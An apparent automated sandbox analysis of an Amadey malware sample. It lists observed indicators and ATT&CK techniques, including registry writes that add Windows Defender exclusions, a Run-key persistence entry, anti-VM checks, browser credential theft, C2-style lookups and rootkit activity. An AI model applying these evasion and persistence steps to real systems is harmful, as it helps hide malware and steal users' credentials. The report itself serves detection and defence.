amadey | 5b1863dd0217646edc42252ba708218ba6c1e0387b378d1aa6c8ea066ab18711

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\Mon23938d415978.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	Mon23938d415978.exe

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/files/0x00070000000285e3-117.dat	Nirsoft

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Mon237ce2862163cee53.exe

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/files/0x00070000000285e3-117.dat	WebBrowserPassView

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/3652-284-0x0000000000400000-0x00000000004DC000-memory.dmp	family_vidar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3876	powershell.exe
5320	powershell.exe
3788	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
3788	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3424	netsh.exe

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x00070000000285eb-166.dat	net_reactor

ASPack v2.12-2.42 3 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x00090000000284ea-69.dat	aspack_v212_v242
behavioral2/files/0x00070000000285d7-76.dat	aspack_v212_v242
behavioral2/files/0x00070000000285d5-70.dat	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mon237ce2862163cee53.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mon237ce2862163cee53.exe

Checks computer location settings 2 TTPs 10 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	Mon23c83f1827e40acef.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	tkools.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	Mon23ca6a33225.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	setup_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	Mon239d2cfa97d5f2304.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	Mon23fc9b3c0b46b0b03.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	Q7J2UrO1XZC8DQK.EXe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 35 IoCs

pid	Process
4828	setup_install.exe
3180	Mon237ce2862163cee53.exe
5076	Mon23fc9b3c0b46b0b03.exe
2180	Mon23b87b93295.exe
3116	Mon239d21655f4b.exe
3652	Mon23bfce30ed0d.exe
1484	Mon23eb9bbd34021fd7.exe
4928	Mon23c390e94b6b.exe
4468	Mon239d2cfa97d5f2304.exe
1160	Mon23c83f1827e40acef.exe
1676	Mon237fc92db7bada.exe
4648	Mon23ca6a33225.exe
4220	Mon23938d415978.exe
5024	Mon23da17a89d.exe
1140	Mon23eb9bbd34021fd7.tmp
4424	Mon239d2cfa97d5f2304.tmp
3060	Mon239d2cfa97d5f2304.exe
4992	Mon239d2cfa97d5f2304.tmp
4216	Mon23fc9b3c0b46b0b03.exe
2672	Q7J2UrO1XZC8DQK.EXe
2064	tkools.exe
2988	Mon23938d415978.exe
2380	tkools.exe
3024	csrss.exe
5124	tkools.exe
5196	csrss.exe
5152	tkools.exe
5876	injector.exe
5976	csrss.exe
6036	csrss.exe
5356	Mon23ca6a33225.exe
5432	csrss.exe
5968	tkools.exe
5908	tkools.exe
5324	tkools.exe

Loads dropped DLL 10 IoCs

pid	Process
4828	setup_install.exe
4828	setup_install.exe
4828	setup_install.exe
4828	setup_install.exe
4828	setup_install.exe
1140	Mon23eb9bbd34021fd7.tmp
4424	Mon239d2cfa97d5f2304.tmp
4992	Mon239d2cfa97d5f2304.tmp
3000	odbcconf.exe
3000	odbcconf.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Binary Proxy Execution: Odbcconf 1 TTPs 3 IoCs

Abuse Odbcconf to proxy execution of malicious code.

Odbcconf

T1218.008

pid	Process
1180	mshta.exe
3964	cmd.exe
3000	odbcconf.exe

Windows security modification 2 TTPs 7 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\Mon23938d415978.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	Mon23938d415978.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	Mon23938d415978.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Mon237ce2862163cee53.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
4	iplogger.org
8	iplogger.org
20	iplogger.org

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\manifest.json	Mon239d21655f4b.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit defense_evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 5076 set thread context of 4216	5076	Mon23fc9b3c0b46b0b03.exe	126
PID 2064 set thread context of 2380	2064	tkools.exe	167
PID 5124 set thread context of 5152	5124	tkools.exe	192
PID 4648 set thread context of 5356	4648	Mon23ca6a33225.exe	214
PID 5968 set thread context of 5324	5968	tkools.exe	222

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	Mon23938d415978.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\rss	Mon23938d415978.exe
File created	C:\Windows\rss\csrss.exe	Mon23938d415978.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2784	5024	WerFault.exe	123

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23ca6a33225.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23eb9bbd34021fd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tkools.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23ca6a33225.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tkools.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon237ce2862163cee53.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23bfce30ed0d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon239d21655f4b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23eb9bbd34021fd7.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon239d2cfa97d5f2304.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	odbcconf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon239d2cfa97d5f2304.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23938d415978.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23fc9b3c0b46b0b03.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Q7J2UrO1XZC8DQK.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23b87b93295.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2016	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 8 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/4468-212-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup
behavioral2/memory/3060-204-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup
behavioral2/files/0x00070000000285e6-203.dat	innosetup
behavioral2/memory/4468-163-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup
behavioral2/files/0x00070000000285ed-148.dat	innosetup
behavioral2/memory/1484-158-0x0000000000400000-0x0000000000414000-memory.dmp	innosetup
behavioral2/memory/1484-247-0x0000000000400000-0x0000000000414000-memory.dmp	innosetup
behavioral2/memory/3060-326-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon23da17a89d.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon23da17a89d.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon23da17a89d.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 2 IoCs

pid	Process
4376	taskkill.exe
1080	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134233572895124626"	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2404	schtasks.exe
5692	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3876	powershell.exe
3876	powershell.exe
3788	powershell.exe
3788	powershell.exe
5024	Mon23da17a89d.exe
5024	Mon23da17a89d.exe
3788	powershell.exe
3876	powershell.exe
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3384	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5024	Mon23da17a89d.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeCreateTokenPrivilege	3116	Mon239d21655f4b.exe
Token: SeAssignPrimaryTokenPrivilege	3116	Mon239d21655f4b.exe
Token: SeLockMemoryPrivilege	3116	Mon239d21655f4b.exe
Token: SeIncreaseQuotaPrivilege	3116	Mon239d21655f4b.exe
Token: SeMachineAccountPrivilege	3116	Mon239d21655f4b.exe
Token: SeTcbPrivilege	3116	Mon239d21655f4b.exe
Token: SeSecurityPrivilege	3116	Mon239d21655f4b.exe
Token: SeTakeOwnershipPrivilege	3116	Mon239d21655f4b.exe
Token: SeLoadDriverPrivilege	3116	Mon239d21655f4b.exe
Token: SeSystemProfilePrivilege	3116	Mon239d21655f4b.exe
Token: SeSystemtimePrivilege	3116	Mon239d21655f4b.exe
Token: SeProfSingleProcessPrivilege	3116	Mon239d21655f4b.exe
Token: SeIncBasePriorityPrivilege	3116	Mon239d21655f4b.exe
Token: SeCreatePagefilePrivilege	3116	Mon239d21655f4b.exe
Token: SeCreatePermanentPrivilege	3116	Mon239d21655f4b.exe
Token: SeBackupPrivilege	3116	Mon239d21655f4b.exe
Token: SeRestorePrivilege	3116	Mon239d21655f4b.exe
Token: SeShutdownPrivilege	3116	Mon239d21655f4b.exe
Token: SeDebugPrivilege	3116	Mon239d21655f4b.exe
Token: SeAuditPrivilege	3116	Mon239d21655f4b.exe
Token: SeSystemEnvironmentPrivilege	3116	Mon239d21655f4b.exe
Token: SeChangeNotifyPrivilege	3116	Mon239d21655f4b.exe
Token: SeRemoteShutdownPrivilege	3116	Mon239d21655f4b.exe
Token: SeUndockPrivilege	3116	Mon239d21655f4b.exe
Token: SeSyncAgentPrivilege	3116	Mon239d21655f4b.exe
Token: SeEnableDelegationPrivilege	3116	Mon239d21655f4b.exe
Token: SeManageVolumePrivilege	3116	Mon239d21655f4b.exe
Token: SeImpersonatePrivilege	3116	Mon239d21655f4b.exe
Token: SeCreateGlobalPrivilege	3116	Mon239d21655f4b.exe
Token: 31	3116	Mon239d21655f4b.exe
Token: 32	3116	Mon239d21655f4b.exe
Token: 33	3116	Mon239d21655f4b.exe
Token: 34	3116	Mon239d21655f4b.exe
Token: 35	3116	Mon239d21655f4b.exe
Token: SeDebugPrivilege	4928	Mon23c390e94b6b.exe
Token: SeDebugPrivilege	5076	Mon23fc9b3c0b46b0b03.exe
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeDebugPrivilege	1080	taskkill.exe
Token: SeDebugPrivilege	4376	taskkill.exe
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeIncreaseQuotaPrivilege	3876	powershell.exe
Token: SeSecurityPrivilege	3876	powershell.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
3384	Process not Found
3384	Process not Found
3384	Process not Found
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3384	Process not Found
3384	Process not Found
3384	Process not Found
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
2220	chrome.exe
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3384	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 4828	1980	setup_installer.exe	82
PID 4828 wrote to memory of 676	4828	setup_install.exe	85
PID 4828 wrote to memory of 4044	4828	setup_install.exe	86
PID 676 wrote to memory of 3788	676	cmd.exe	87
PID 4044 wrote to memory of 3876	4044	cmd.exe	88
PID 4828 wrote to memory of 3528	4828	setup_install.exe	89
PID 4828 wrote to memory of 1556	4828	setup_install.exe	90
PID 4828 wrote to memory of 4376	4828	setup_install.exe	140
PID 4828 wrote to memory of 2092	4828	setup_install.exe	92
PID 4828 wrote to memory of 1156	4828	setup_install.exe	93
PID 4828 wrote to memory of 1880	4828	setup_install.exe	94
PID 4828 wrote to memory of 1848	4828	setup_install.exe	95
PID 4828 wrote to memory of 3812	4828	setup_install.exe	96
PID 4828 wrote to memory of 1080	4828	setup_install.exe	141
PID 4828 wrote to memory of 3928	4828	setup_install.exe	98
PID 4828 wrote to memory of 2328	4828	setup_install.exe	99
PID 4828 wrote to memory of 4920	4828	setup_install.exe	100
PID 4828 wrote to memory of 1480	4828	setup_install.exe	101
PID 4828 wrote to memory of 3428	4828	setup_install.exe	102
PID 4828 wrote to memory of 4752	4828	setup_install.exe	103
PID 4828 wrote to memory of 1372	4828	setup_install.exe	104
PID 4828 wrote to memory of 4924	4828	setup_install.exe	105
